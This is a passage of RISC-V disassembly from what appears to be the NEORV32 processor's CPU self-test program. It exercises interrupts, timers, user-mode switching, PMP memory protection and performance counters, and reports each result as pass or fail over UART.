fb4: 00092023 sw zero,0(s2)
fb8: 281000ef jal ra,1a38 <neorv32_xirq_setup>
fbc: 000025b7 lui a1,0x2
fc0: 00050493 mv s1,a0
fc4: 82858593 addi a1,a1,-2008 # 1828 <xirq_trap_handler0>
fc8: 00000513 li a0,0
fcc: 2a1000ef jal ra,1a6c <neorv32_xirq_install>
fd0: 000025b7 lui a1,0x2
fd4: 83c58593 addi a1,a1,-1988 # 183c <xirq_trap_handler1>
fd8: 00050a13 mv s4,a0
fdc: 00100513 li a0,1
fe0: 28d000ef jal ra,1a6c <neorv32_xirq_install>
fe4: 00050993 mv s3,a0
fe8: 01800513 li a0,24
fec: 1f4010ef jal ra,21e0 <neorv32_cpu_irq_enable>
ff0: 00300513 li a0,3
ff4: 00000593 li a1,0
ff8: 6a0020ef jal ra,3698 <neorv32_gpio_port_set>
ffc: 00000013 nop
1000: 00000013 nop
1004: 01800513 li a0,24
1008: 214010ef jal ra,221c <neorv32_cpu_irq_disable>
100c: 34202773 csrr a4,mcause
1010: 800007b7 lui a5,0x80000
1014: 01878793 addi a5,a5,24 # 80000018 <__ctr0_io_space_begin+0x80000218>
1018: 74f71863 bne a4,a5,1768 <main+0x15d8>
101c: 014484b3 add s1,s1,s4
1020: 013484b3 add s1,s1,s3
1024: 74049263 bnez s1,1768 <main+0x15d8>
1028: 00092703 lw a4,0(s2)
102c: 00400793 li a5,4
1030: 72f71c63 bne a4,a5,1768 <main+0x15d8>
1034: 031000ef jal ra,1864 <test_ok>
1038: f8002023 sw zero,-128(zero) # ffffff80 <__ctr0_io_space_begin+0x180>
103c: fff00793 li a5,-1
1040: f8f02223 sw a5,-124(zero) # ffffff84 <__ctr0_io_space_begin+0x184>
1044: 00042583 lw a1,0(s0)
1048: 00004537 lui a0,0x4
104c: df850513 addi a0,a0,-520 # 3df8 <__etext+0x550>
1050: 665000ef jal ra,1eb4 <neorv32_uart0_printf>
1054: 25d000ef jal ra,1ab0 <neorv32_slink_available>
1058: 0e050e63 beqz a0,1154 <main+0xfc4>
105c: 00000793 li a5,0
1060: 34279073 csrw mcause,a5
1064: 00042583 lw a1,0(s0)
1068: 00004537 lui a0,0x4
106c: e1850513 addi a0,a0,-488 # 3e18 <__etext+0x570>
1070: 645000ef jal ra,1eb4 <neorv32_uart0_printf>
1074: 00042783 lw a5,0(s0)
1078: 00178793 addi a5,a5,1
107c: 00f42023 sw a5,0(s0)
1080: 241000ef jal ra,1ac0 <neorv32_slink_enable>
1084: 00100613 li a2,1
1088: 00100593 li a1,1
108c: 00000513 li a0,0
1090: 2ad000ef jal ra,1b3c <neorv32_slink_tx_irq_config>
1094: 00100613 li a2,1
1098: 00100593 li a1,1
109c: 00000513 li a0,0
10a0: 251000ef jal ra,1af0 <neorv32_slink_rx_irq_config>
10a4: 01a00513 li a0,26
10a8: 138010ef jal ra,21e0 <neorv32_cpu_irq_enable>
10ac: 01b00513 li a0,27
10b0: 130010ef jal ra,21e0 <neorv32_cpu_irq_enable>
10b4: 00000013 nop
10b8: 342024f3 csrr s1,mcause
10bc: 800007b7 lui a5,0x80000
10c0: fe57c793 xori a5,a5,-27
10c4: 00000513 li a0,0
10c8: 00100613 li a2,1
10cc: 00000593 li a1,0
10d0: 00f484b3 add s1,s1,a5
10d4: 269000ef jal ra,1b3c <neorv32_slink_tx_irq_config>
10d8: a1b2c537 lui a0,0xa1b2c
10dc: 3d450513 addi a0,a0,980 # a1b2c3d4 <__ctr0_io_space_begin+0xa1b2c5d4>
10e0: 009034b3 snez s1,s1
10e4: 2a9000ef jal ra,1b8c <neorv32_slink_tx0_nonblocking>
10e8: 00050463 beqz a0,10f0 <main+0xf60>
10ec: 00248493 addi s1,s1,2
10f0: 00000013 nop
10f4: 34202773 csrr a4,mcause
10f8: 800007b7 lui a5,0x80000
10fc: 01a78793 addi a5,a5,26 # 8000001a <__ctr0_io_space_begin+0x8000021a>
1100: 00f70463 beq a4,a5,1108 <main+0xf78>
1104: 00448493 addi s1,s1,4
1108: 00000513 li a0,0
110c: 00100613 li a2,1
1110: 00000593 li a1,0
1114: 1dd000ef jal ra,1af0 <neorv32_slink_rx_irq_config>
1118: 00c10513 addi a0,sp,12
111c: 291000ef jal ra,1bac <neorv32_slink_rx0_nonblocking>
1120: 00050463 beqz a0,1128 <main+0xf98>
1124: 00848493 addi s1,s1,8
1128: 01a00513 li a0,26
112c: 0f0010ef jal ra,221c <neorv32_cpu_irq_disable>
1130: 01b00513 li a0,27
1134: 0e8010ef jal ra,221c <neorv32_cpu_irq_disable>
1138: 62049c63 bnez s1,1770 <main+0x15e0>
113c: 00c12703 lw a4,12(sp)
1140: a1b2c7b7 lui a5,0xa1b2c
1144: 3d478793 addi a5,a5,980 # a1b2c3d4 <__ctr0_io_space_begin+0xa1b2c5d4>
1148: 62f71463 bne a4,a5,1770 <main+0x15e0>
114c: 718000ef jal ra,1864 <test_ok>
1150: 189000ef jal ra,1ad8 <neorv32_slink_disable>
1154: 15d000ef jal ra,1ab0 <neorv32_slink_available>
1158: 06050463 beqz a0,11c0 <main+0x1030>
115c: 00000793 li a5,0
1160: 34279073 csrw mcause,a5
1164: 00042583 lw a1,0(s0)
1168: 00004537 lui a0,0x4
116c: e3450513 addi a0,a0,-460 # 3e34 <__etext+0x58c>
1170: 545000ef jal ra,1eb4 <neorv32_uart0_printf>
1174: 00042783 lw a5,0(s0)
1178: 01c00513 li a0,28
117c: 00178793 addi a5,a5,1
1180: 00f42023 sw a5,0(s0)
1184: 05c010ef jal ra,21e0 <neorv32_cpu_irq_enable>
1188: 00400613 li a2,4
118c: 00000593 li a1,0
1190: 00000513 li a0,0
1194: 019000ef jal ra,19ac <neorv32_gptmr_setup>
1198: 00000013 nop
119c: 00000013 nop
11a0: 01c00513 li a0,28
11a4: 078010ef jal ra,221c <neorv32_cpu_irq_disable>
11a8: 34202773 csrr a4,mcause
11ac: 800007b7 lui a5,0x80000
11b0: 01c78793 addi a5,a5,28 # 8000001c <__ctr0_io_space_begin+0x8000021c>
11b4: 5cf71263 bne a4,a5,1778 <main+0x15e8>
11b8: 6ac000ef jal ra,1864 <test_ok>
11bc: 021000ef jal ra,19dc <neorv32_gptmr_disable>
11c0: 00000793 li a5,0
11c4: 34279073 csrw mcause,a5
11c8: 00042583 lw a1,0(s0)
11cc: 00004537 lui a0,0x4
11d0: e4c50513 addi a0,a0,-436 # 3e4c <__etext+0x5a4>
11d4: 4e1000ef jal ra,1eb4 <neorv32_uart0_printf>
11d8: 00042783 lw a5,0(s0)
11dc: 00178793 addi a5,a5,1
11e0: 00f42023 sw a5,0(s0)
11e4: 201000ef jal ra,1be4 <neorv32_mtime_get_time>
11e8: 00050793 mv a5,a0
11ec: 1f450513 addi a0,a0,500
11f0: 00f537b3 sltu a5,a0,a5
11f4: 00b785b3 add a1,a5,a1
11f8: 219000ef jal ra,1c10 <neorv32_mtime_set_timecmp>
11fc: 00700513 li a0,7
1200: 7e1000ef jal ra,21e0 <neorv32_cpu_irq_enable>
1204: 10500073 wfi
1208: 00700513 li a0,7
120c: 010010ef jal ra,221c <neorv32_cpu_irq_disable>
1210: fff00513 li a0,-1
1214: fff00593 li a1,-1
1218: 1f9000ef jal ra,1c10 <neorv32_mtime_set_timecmp>
121c: 34202773 csrr a4,mcause
1220: 800007b7 lui a5,0x80000
1224: 00778793 addi a5,a5,7 # 80000007 <__ctr0_io_space_begin+0x80000207>
1228: 54f70c63 beq a4,a5,1780 <main+0x15f0>
122c: 674000ef jal ra,18a0 <test_fail>
1230: 00000793 li a5,0
1234: 34279073 csrw mcause,a5
1238: 00042583 lw a1,0(s0)
123c: 00004537 lui a0,0x4
1240: e8050513 addi a0,a0,-384 # 3e80 <__etext+0x5d8>
1244: 471000ef jal ra,1eb4 <neorv32_uart0_printf>
1248: 00042783 lw a5,0(s0)
124c: 00178793 addi a5,a5,1
1250: 00f42023 sw a5,0(s0)
1254: 02c010ef jal ra,2280 <neorv32_cpu_goto_user_mode>
1258: 301027f3 csrr a5,misa
125c: 34202773 csrr a4,mcause
1260: 00200793 li a5,2
1264: 52f71263 bne a4,a5,1788 <main+0x15f8>
1268: 5fc000ef jal ra,1864 <test_ok>
126c: 00000793 li a5,0
1270: 34279073 csrw mcause,a5
1274: 00042583 lw a1,0(s0)
1278: 00004537 lui a0,0x4
127c: eb450513 addi a0,a0,-332 # 3eb4 <__etext+0x60c>
1280: 435000ef jal ra,1eb4 <neorv32_uart0_printf>
1284: 00042783 lw a5,0(s0)
1288: 00200513 li a0,2
128c: 00178793 addi a5,a5,1
1290: 00f42023 sw a5,0(s0)
1294: 2e5010ef jal ra,2d78 <neorv32_rte_exception_uninstall>
1298: fff027f3 csrr a5,0xfff
129c: 00005537 lui a0,0x5
12a0: 93c50513 addi a0,a0,-1732 # 493c <symbols.0+0x6f8>
12a4: 411000ef jal ra,1eb4 <neorv32_uart0_printf>
12a8: 342027f3 csrr a5,mcause
12ac: 4e078263 beqz a5,1790 <main+0x1600>
12b0: 5b4000ef jal ra,1864 <test_ok>
12b4: 000025b7 lui a1,0x2
12b8: 81858593 addi a1,a1,-2024 # 1818 <global_trap_handler>
12bc: 00200513 li a0,2
12c0: 291010ef jal ra,2d50 <neorv32_rte_exception_install>
12c4: 00042583 lw a1,0(s0)
12c8: 00004537 lui a0,0x4
12cc: ee450513 addi a0,a0,-284 # 3ee4 <__etext+0x63c>
12d0: 3e5000ef jal ra,1eb4 <neorv32_uart0_printf>
12d4: 7c1000ef jal ra,2294 <neorv32_cpu_pmp_get_num_regions>
12d8: 00004937 lui s2,0x4
12dc: 52050063 beqz a0,17fc <main+0x166c>
12e0: 00000793 li a5,0
12e4: 34279073 csrw mcause,a5
12e8: 00042783 lw a5,0(s0)
12ec: 00178793 addi a5,a5,1
12f0: 00f42023 sw a5,0(s0)
12f4: 058010ef jal ra,234c <neorv32_cpu_pmp_get_granularity>
12f8: ff402483 lw s1,-12(zero) # fffffff4 <__ctr0_io_space_begin+0x1f4>
12fc: 00050593 mv a1,a0
1300: 00050993 mv s3,a0
1304: 00004537 lui a0,0x4
1308: 00048613 mv a2,s1
130c: f0c50513 addi a0,a0,-244 # 3f0c <__etext+0x664>
1310: 3a5000ef jal ra,1eb4 <neorv32_uart0_printf>
1314: 01800693 li a3,24
1318: 00098613 mv a2,s3
131c: 00048593 mv a1,s1
1320: 00000513 li a0,0
1324: 068010ef jal ra,238c <neorv32_cpu_pmp_configure_region>
1328: 48051063 bnez a0,17a8 <main+0x1618>
132c: 342027f3 csrr a5,mcause
1330: 46079c63 bnez a5,17a8 <main+0x1618>
1334: 530000ef jal ra,1864 <test_ok>
1338: 00042583 lw a1,0(s0)
133c: 00004537 lui a0,0x4
1340: f6850513 addi a0,a0,-152 # 3f68 <__etext+0x6c0>
1344: 371000ef jal ra,1eb4 <neorv32_uart0_printf>
1348: 00042783 lw a5,0(s0)
134c: 00178793 addi a5,a5,1
1350: 00f42023 sw a5,0(s0)
1354: 00000793 li a5,0
1358: 34279073 csrw mcause,a5
135c: 725000ef jal ra,2280 <neorv32_cpu_goto_user_mode>
1360: 000480e7 jalr s1
1364: 342027f3 csrr a5,mcause
1368: 46079463 bnez a5,17d0 <main+0x1640>
136c: 00000073 ecall
1370: 530000ef jal ra,18a0 <test_fail>
1374: 00042583 lw a1,0(s0)
1378: 00004537 lui a0,0x4
137c: f8450513 addi a0,a0,-124 # 3f84 <__etext+0x6dc>
1380: 335000ef jal ra,1eb4 <neorv32_uart0_printf>
1384: 00042783 lw a5,0(s0)
1388: 00178793 addi a5,a5,1
138c: 00f42023 sw a5,0(s0)
1390: 00000793 li a5,0
1394: 34279073 csrw mcause,a5
1398: 6e9000ef jal ra,2280 <neorv32_cpu_goto_user_mode>
139c: 0004a783 lw a5,0(s1)
13a0: 00078c63 beqz a5,13b8 <main+0x1228>
13a4: 00004537 lui a0,0x4
13a8: 01b00613 li a2,27
13ac: 01b00593 li a1,27
13b0: 9c050513 addi a0,a0,-1600 # 39c0 <__etext+0x118>
13b4: 301000ef jal ra,1eb4 <neorv32_uart0_printf>
13b8: 34202773 csrr a4,mcause
13bc: 00500793 li a5,5
13c0: 40f71e63 bne a4,a5,17dc <main+0x164c>
13c4: 00000073 ecall
13c8: 49c000ef jal ra,1864 <test_ok>
13cc: 00042583 lw a1,0(s0)
13d0: 00004537 lui a0,0x4
13d4: f9c50513 addi a0,a0,-100 # 3f9c <__etext+0x6f4>
13d8: 2dd000ef jal ra,1eb4 <neorv32_uart0_printf>
13dc: 00042783 lw a5,0(s0)
13e0: 00000993 li s3,0
13e4: 00178793 addi a5,a5,1
13e8: 00f42023 sw a5,0(s0)
13ec: 34299073 csrw mcause,s3
13f0: 691000ef jal ra,2280 <neorv32_cpu_goto_user_mode>
13f4: 0134a023 sw s3,0(s1)
13f8: 34202773 csrr a4,mcause
13fc: 00700793 li a5,7
1400: 3ef71463 bne a4,a5,17e8 <main+0x1658>
1404: 00000073 ecall
1408: 45c000ef jal ra,1864 <test_ok>
140c: 00042583 lw a1,0(s0)
1410: 00004537 lui a0,0x4
1414: fb850513 addi a0,a0,-72 # 3fb8 <__etext+0x710>
1418: 29d000ef jal ra,1eb4 <neorv32_uart0_printf>
141c: 00042783 lw a5,0(s0)
1420: 00178793 addi a5,a5,1
1424: 00f42023 sw a5,0(s0)
1428: 00000793 li a5,0
142c: 34279073 csrw mcause,a5
1430: 08100793 li a5,129
1434: 3a079073 csrw pmpcfg0,a5
1438: 3a0026f3 csrr a3,pmpcfg0
143c: 01900793 li a5,25
1440: 3a079073 csrw pmpcfg0,a5
1444: 3b002773 csrr a4,pmpaddr0
1448: ababd7b7 lui a5,0xababd
144c: dcd78793 addi a5,a5,-563 # ababcdcd <__ctr0_io_space_begin+0xababcfcd>
1450: 3b079073 csrw pmpaddr0,a5
1454: 3a0027f3 csrr a5,pmpcfg0
1458: 00d79a63 bne a5,a3,146c <main+0x12dc>
145c: 3b0027f3 csrr a5,pmpaddr0
1460: 00f71663 bne a4,a5,146c <main+0x12dc>
1464: 342027f3 csrr a5,mcause
1468: 38078663 beqz a5,17f4 <main+0x1664>
146c: 434000ef jal ra,18a0 <test_fail>
1470: 00000493 li s1,0
1474: 34249073 csrw mcause,s1
1478: 00042583 lw a1,0(s0)
147c: 00004537 lui a0,0x4
1480: fdc50513 addi a0,a0,-36 # 3fdc <__etext+0x734>
1484: 231000ef jal ra,1eb4 <neorv32_uart0_printf>
1488: 94890513 addi a0,s2,-1720 # 3948 <__etext+0xa0>
148c: 229000ef jal ra,1eb4 <neorv32_uart0_printf>
1490: 34249073 csrw mcause,s1
1494: 00042583 lw a1,0(s0)
1498: 00004537 lui a0,0x4
149c: 00c50513 addi a0,a0,12 # 400c <__etext+0x764>
14a0: 215000ef jal ra,1eb4 <neorv32_uart0_printf>
14a4: 94890513 addi a0,s2,-1720
14a8: 20d000ef jal ra,1eb4 <neorv32_uart0_printf>
14ac: 34249073 csrw mcause,s1
14b0: 00042583 lw a1,0(s0)
14b4: 00004537 lui a0,0x4
14b8: 03c50513 addi a0,a0,60 # 403c <__etext+0x794>
14bc: 1f9000ef jal ra,1eb4 <neorv32_uart0_printf>
14c0: 94890513 addi a0,s2,-1720
14c4: 1f1000ef jal ra,1eb4 <neorv32_uart0_printf>
14c8: fff00793 li a5,-1
14cc: 32079073 csrw mcountinhibit,a5
14d0: 8141a583 lw a1,-2028(gp) # 80000014 <num_hpm_cnts_global>
14d4: 00004537 lui a0,0x4
14d8: 06c50513 addi a0,a0,108 # 406c <__etext+0x7c4>
14dc: 1d9000ef jal ra,1eb4 <neorv32_uart0_printf>
14e0: c02025f3 rdinstret a1
14e4: 00004537 lui a0,0x4
14e8: 09c50513 addi a0,a0,156 # 409c <__etext+0x7f4>
14ec: 1c9000ef jal ra,1eb4 <neorv32_uart0_printf>
14f0: c00025f3 rdcycle a1
14f4: 00004537 lui a0,0x4
14f8: 0b050513 addi a0,a0,176 # 40b0 <__etext+0x808>
14fc: 1b9000ef jal ra,1eb4 <neorv32_uart0_printf>
1500: b03025f3 csrr a1,mhpmcounter3
1504: 00004537 lui a0,0x4
1508: 0c450513 addi a0,a0,196 # 40c4 <__etext+0x81c>
150c: 1a9000ef jal ra,1eb4 <neorv32_uart0_printf>
1510: b04025f3 csrr a1,mhpmcounter4
1514: 00004537 lui a0,0x4
1518: 0d850513 addi a0,a0,216 # 40d8 <__etext+0x830>
151c: 199000ef jal ra,1eb4 <neorv32_uart0_printf>
1520: b05025f3 csrr a1,mhpmcounter5
1524: 00004537 lui a0,0x4
1528: 0ec50513 addi a0,a0,236 # 40ec <__etext+0x844>
152c: 189000ef jal ra,1eb4 <neorv32_uart0_printf>
1530: b06025f3 csrr a1,mhpmcounter6
1534: 00004537 lui a0,0x4
1538: 10050513 addi a0,a0,256 # 4100 <__etext+0x858>
153c: 179000ef jal ra,1eb4 <neorv32_uart0_printf>
1540: b07025f3 csrr a1,mhpmcounter7
1544: 00004537 lui a0,0x4
1548: 11450513 addi a0,a0,276 # 4114 <__etext+0x86c>
154c: 169000ef jal ra,1eb4 <neorv32_uart0_printf>
1550: b08025f3 csrr a1,mhpmcounter8
1554: 00004537 lui a0,0x4
1558: 12850513 addi a0,a0,296 # 4128 <__etext+0x880>
155c: 159000ef jal ra,1eb4 <neorv32_uart0_printf>
1560: b09025f3 csrr a1,mhpmcounter9
1564: 00004537 lui a0,0x4
1568: 13c50513 addi a0,a0,316 # 413c <__etext+0x894>
156c: 149000ef jal ra,1eb4 <neorv32_uart0_printf>
1570: b0a025f3 csrr a1,mhpmcounter10
1574: 00004537 lui a0,0x4
1578: 15050513 addi a0,a0,336 # 4150 <__etext+0x8a8>
157c: 139000ef jal ra,1eb4 <neorv32_uart0_printf>
1580: b0b025f3 csrr a1,mhpmcounter11
1584: 00004537 lui a0,0x4
1588: 16450513 addi a0,a0,356 # 4164 <__etext+0x8bc>
158c: 129000ef jal ra,1eb4 <neorv32_uart0_printf>
1590: b0c025f3 csrr a1,mhpmcounter12
1594: 00004537 lui a0,0x4
1598: 17850513 addi a0,a0,376 # 4178 <__etext+0x8d0>
159c: 119000ef jal ra,1eb4 <neorv32_uart0_printf>
15a0: b0d025f3 csrr a1,mhpmcounter13
15a4: 00004537 lui a0,0x4
15a8: 18c50513 addi a0,a0,396 # 418c <__etext+0x8e4>
15ac: 109000ef jal ra,1eb4 <neorv32_uart0_printf>
15b0: b0e025f3 csrr a1,mhpmcounter14
15b4: 00004537 lui a0,0x4
15b8: 1a050513 addi a0,a0,416 # 41a0 <__etext+0x8f8>
15bc: 0f9000ef jal ra,1eb4 <neorv32_uart0_printf>
15c0: 00042703 lw a4,0(s0)
15c4: 80000437 lui s0,0x80000
15c8: 00840493 addi s1,s0,8 # 80000008 <__ctr0_io_space_begin+0x80000208>
15cc: 800007b7 lui a5,0x80000
15d0: 00c7a583 lw a1,12(a5) # 8000000c <__ctr0_io_space_begin+0x8000020c>
15d4: 0004a683 lw a3,0(s1)
15d8: 00004537 lui a0,0x4
15dc: 00070613 mv a2,a4
15e0: 1b450513 addi a0,a0,436 # 41b4 <__etext+0x90c>
15e4: 0d1000ef jal ra,1eb4 <neorv32_uart0_printf>
15e8: 0004a783 lw a5,0(s1)
15ec: 00840413 addi s0,s0,8
15f0: 01b00613 li a2,27
15f4: 01b00593 li a1,27
15f8: 20079863 bnez a5,1808 <main+0x1678>
15fc: 00004537 lui a0,0x4
1600: 1e050513 addi a0,a0,480 # 41e0 <__etext+0x938>
1604: 0b1000ef jal ra,1eb4 <neorv32_uart0_printf>
1608: 00042503 lw a0,0(s0)
160c: c6dfe06f j 278 <main+0xe8>
1610: 290000ef jal ra,18a0 <test_fail>
1614: d85fe06f j 398 <main+0x208>
1618: 00004537 lui a0,0x4
161c: 94850513 addi a0,a0,-1720 # 3948 <__etext+0xa0>
1620: 095000ef jal ra,1eb4 <neorv32_uart0_printf>
1624: d75fe06f j 398 <main+0x208>
1628: 278000ef jal ra,18a0 <test_fail>
162c: dc1fe06f j 3ec <main+0x25c>
1630: 270000ef jal ra,18a0 <test_fail>
1634: e0dfe06f j 440 <main+0x2b0>
1638: 268000ef jal ra,18a0 <test_fail>
163c: e65fe06f j 4a0 <main+0x310>
1640: 260000ef jal ra,18a0 <test_fail>
1644: ee1fe06f j 524 <main+0x394>
1648: 258000ef jal ra,18a0 <test_fail>
164c: f25fe06f j 570 <main+0x3e0>
1650: 00004537 lui a0,0x4
1654: a2050513 addi a0,a0,-1504 # 3a20 <__etext+0x178>
1658: 05d000ef jal ra,1eb4 <neorv32_uart0_printf>
165c: 244000ef jal ra,18a0 <test_fail>
1660: f89fe06f j 5e8 <main+0x458>
1664: 00004537 lui a0,0x4
1668: a3c50513 addi a0,a0,-1476 # 3a3c <__etext+0x194>
166c: fedff06f j 1658 <main+0x14c8>
1670: 00004537 lui a0,0x4
1674: 94850513 addi a0,a0,-1720 # 3948 <__etext+0xa0>
1678: 03d000ef jal ra,1eb4 <neorv32_uart0_printf>
167c: f6dfe06f j 5e8 <main+0x458>
1680: 220000ef jal ra,18a0 <test_fail>
1684: fa1fe06f j 624 <main+0x494>
1688: 218000ef jal ra,18a0 <test_fail>
168c: fd5fe06f j 660 <main+0x4d0>
1690: 210000ef jal ra,18a0 <test_fail>
1694: 804ff06f j 698 <main+0x508>
1698: 208000ef jal ra,18a0 <test_fail>
169c: 84cff06f j 6e8 <main+0x558>
16a0: 00004537 lui a0,0x4
16a4: af450513 addi a0,a0,-1292 # 3af4 <__etext+0x24c>
16a8: 00d000ef jal ra,1eb4 <neorv32_uart0_printf>
16ac: 83cff06f j 6e8 <main+0x558>
16b0: 1f0000ef jal ra,18a0 <test_fail>
16b4: 874ff06f j 728 <main+0x598>
16b8: 1e8000ef jal ra,18a0 <test_fail>
16bc: 8c0ff06f j 77c <main+0x5ec>
16c0: 1e0000ef jal ra,18a0 <test_fail>
16c4: 904ff06f j 7c8 <main+0x638>
16c8: 00004537 lui a0,0x4
16cc: af450513 addi a0,a0,-1292 # 3af4 <__etext+0x24c>
16d0: 7e4000ef jal ra,1eb4 <neorv32_uart0_printf>
16d4: 8f4ff06f j 7c8 <main+0x638>
16d8: 1c8000ef jal ra,18a0 <test_fail>
16dc: 928ff06f j 804 <main+0x674>
16e0: 1c0000ef jal ra,18a0 <test_fail>
16e4: 96cff06f j 850 <main+0x6c0>
16e8: 1b8000ef jal ra,18a0 <test_fail>
16ec: 9a4ff06f j 890 <main+0x700>
16f0: 1b0000ef jal ra,18a0 <test_fail>
16f4: 9dcff06f j 8d0 <main+0x740>
16f8: 1a8000ef jal ra,18a0 <test_fail>
16fc: a14ff06f j 910 <main+0x780>
1700: 1a0000ef jal ra,18a0 <test_fail>
1704: a48ff06f j 94c <main+0x7bc>
1708: 198000ef jal ra,18a0 <test_fail>
170c: a80ff06f j 98c <main+0x7fc>
1710: 190000ef jal ra,18a0 <test_fail>
1714: afcff06f j a10 <main+0x880>
1718: 188000ef jal ra,18a0 <test_fail>
171c: b58ff06f j a74 <main+0x8e4>
1720: 180000ef jal ra,18a0 <test_fail>
1724: bacff06f j ad0 <main+0x940>
1728: 178000ef jal ra,18a0 <test_fail>
172c: c84ff06f j bb0 <main+0xa20>
1730: 170000ef jal ra,18a0 <test_fail>
1734: cf4ff06f j c28 <main+0xa98>
1738: 168000ef jal ra,18a0 <test_fail>
173c: da0ff06f j cdc <main+0xb4c>
1740: 160000ef jal ra,18a0 <test_fail>
1744: e2cff06f j d70 <main+0xbe0>
1748: 158000ef jal ra,18a0 <test_fail>
174c: eb4ff06f j e00 <main+0xc70>
1750: 150000ef jal ra,18a0 <test_fail>
1754: f40ff06f j e94 <main+0xd04>
1758: 148000ef jal ra,18a0 <test_fail>
175c: fb0ff06f j f0c <main+0xd7c>
1760: 140000ef jal ra,18a0 <test_fail>
1764: 81dff06f j f80 <main+0xdf0>
1768: 138000ef jal ra,18a0 <test_fail>
176c: 8cdff06f j 1038 <main+0xea8>
1770: 130000ef jal ra,18a0 <test_fail>
1774: 9ddff06f j 1150 <main+0xfc0>
1778: 128000ef jal ra,18a0 <test_fail>
177c: a41ff06f j 11bc <main+0x102c>
1780: 0e4000ef jal ra,1864 <test_ok>
1784: aadff06f j 1230 <main+0x10a0>
1788: 118000ef jal ra,18a0 <test_fail>
178c: ae1ff06f j 126c <main+0x10dc>
1790: 110000ef jal ra,18a0 <test_fail>
1794: 342025f3 csrr a1,mcause
1798: 00004537 lui a0,0x4
179c: ed450513 addi a0,a0,-300 # 3ed4 <__etext+0x62c>
17a0: 714000ef jal ra,1eb4 <neorv32_uart0_printf>
17a4: b11ff06f j 12b4 <main+0x1124>
17a8: 3a0027f3 csrr a5,pmpcfg0
17ac: 0807f793 andi a5,a5,128
17b0: 00078c63 beqz a5,17c8 <main+0x1638>
17b4: 00004537 lui a0,0x4
17b8: 01b00613 li a2,27
17bc: 01b00593 li a1,27
17c0: f4c50513 addi a0,a0,-180 # 3f4c <__etext+0x6a4>
17c4: 6f0000ef jal ra,1eb4 <neorv32_uart0_printf>
17c8: 0d8000ef jal ra,18a0 <test_fail>
17cc: b6dff06f j 1338 <main+0x11a8>
17d0: 00000073 ecall
17d4: 090000ef jal ra,1864 <test_ok>
17d8: b9dff06f j 1374 <main+0x11e4>
17dc: 00000073 ecall
17e0: 0c0000ef jal ra,18a0 <test_fail>
17e4: be9ff06f j 13cc <main+0x123c>
17e8: 00000073 ecall
17ec: 0b4000ef jal ra,18a0 <test_fail>
17f0: c1dff06f j 140c <main+0x127c>
17f4: 070000ef jal ra,1864 <test_ok>
17f8: c79ff06f j 1470 <main+0x12e0>
17fc: 94890513 addi a0,s2,-1720
1800: 6b4000ef jal ra,1eb4 <neorv32_uart0_printf>
1804: c6dff06f j 1470 <main+0x12e0>
1808: 00004537 lui a0,0x4
180c: 21050513 addi a0,a0,528 # 4210 <__etext+0x968>
1810: df5ff06f j 1604 <main+0x1474>
1814: 0000 unimp
1816: 0000 unimp
00001818 <global_trap_handler>:
1818: 000027b7 lui a5,0x2
181c: 80078793 addi a5,a5,-2048 # 1800 <main+0x1670>
1820: 3007a073 csrs mstatus,a5
1824: 00008067 ret
00001828 <xirq_trap_handler0>:
1828: 81818793 addi a5,gp,-2024 # 80000018 <xirq_trap_handler_ack>
182c: 0007a703 lw a4,0(a5)
1830: 00270713 addi a4,a4,2
1834: 00e7a023 sw a4,0(a5)
1838: 00008067 ret
0000183c <xirq_trap_handler1>:
183c: 81818793 addi a5,gp,-2024 # 80000018 <xirq_trap_handler_ack>
1840: 0007a703 lw a4,0(a5)
1844: 00171713 slli a4,a4,0x1
1848: 00e7a023 sw a4,0(a5)
184c: 00008067 ret
00001850 <sim_irq_trigger>:
1850: ff0007b7 lui a5,0xff000
1854: 00a7a023 sw a0,0(a5) # ff000000 <__ctr0_io_space_begin+0xff000200>
1858: 00000013 nop
185c: 0007a023 sw zero,0(a5)
1860: 00008067 ret
00001864 <test_ok>:
1864: 00004537 lui a0,0x4
1868: ff010113 addi sp,sp,-16
186c: 01b00613 li a2,27
1870: 01b00593 li a1,27
1874: 8a850513 addi a0,a0,-1880 # 38a8 <__etext>
1878: 00112623 sw ra,12(sp)
187c: 638000ef jal ra,1eb4 <neorv32_uart0_printf>
1880: 800007b7 lui a5,0x80000
1884: 00c78793 addi a5,a5,12 # 8000000c <__ctr0_io_space_begin+0x8000020c>
1888: 0007a703 lw a4,0(a5)
188c: 00c12083 lw ra,12(sp)
1890: 00170713 addi a4,a4,1
1894: 00e7a023 sw a4,0(a5)
1898: 01010113 addi sp,sp,16
189c: 00008067 ret
000018a0 <test_fail>:
18a0: 00004537 lui a0,0x4
18a4: ff010113 addi sp,sp,-16
18a8: 01b00613 li a2,27
18ac: 01b00593 li a1,27
18b0: 8b850513 addi a0,a0,-1864 # 38b8 <__etext+0x10>
18b4: 00112623 sw ra,12(sp)
18b8: 5fc000ef jal ra,1eb4 <neorv32_uart0_printf>
18bc: 800007b7 lui a5,0x80000
18c0: 00878793 addi a5,a5,8 # 80000008 <__ctr0_io_space_begin+0x80000208>
18c4: 0007a703 lw a4,0(a5)
18c8: 00c12083 lw ra,12(sp)
18cc: 00170713 addi a4,a4,1
18d0: 00e7a023 sw a4,0(a5)
18d4: 01010113 addi sp,sp,16
18d8: 00008067 ret
000018dc <__neorv32_crt0_after_main>:
18dc: fa000793 li a5,-96
18e0: 0007a703 lw a4,0(a5)
18e4: ff010113 addi sp,sp,-16
18e8: 100006b7 lui a3,0x10000
18ec: 00112623 sw ra,12(sp)
18f0: 00d76733 or a4,a4,a3
18f4: 00e7a023 sw a4,0(a5)
18f8: 0007a703 lw a4,0(a5)
18fc: fffff6b7 lui a3,0xfffff
1900: fff68693 addi a3,a3,-1 # ffffefff <__ctr0_io_space_begin+0xfffff1ff>
1904: 00d77733 and a4,a4,a3
1908: 00e7a023 sw a4,0(a5)
190c: 0007a783 lw a5,0(a5)
1910: 00050593 mv a1,a0
1914: 00004537 lui a0,0x4
1918: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
191c: 8101a603 lw a2,-2032(gp) # 80000010 <cnt_test>
1920: 23050513 addi a0,a0,560 # 4230 <__etext+0x988>
1924: 590000ef jal ra,1eb4 <neorv32_uart0_printf>
1928: 00c12083 lw ra,12(sp)
192c: 00000513 li a0,0
1930: 01010113 addi sp,sp,16
1934: 00008067 ret
00001938 <neorv32_wdt_available>:
1938: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
193c: 01655513 srli a0,a0,0x16
1940: 00157513 andi a0,a0,1
1944: 00008067 ret
00001948 <neorv32_wdt_setup>:
1948: 00757513 andi a0,a0,7
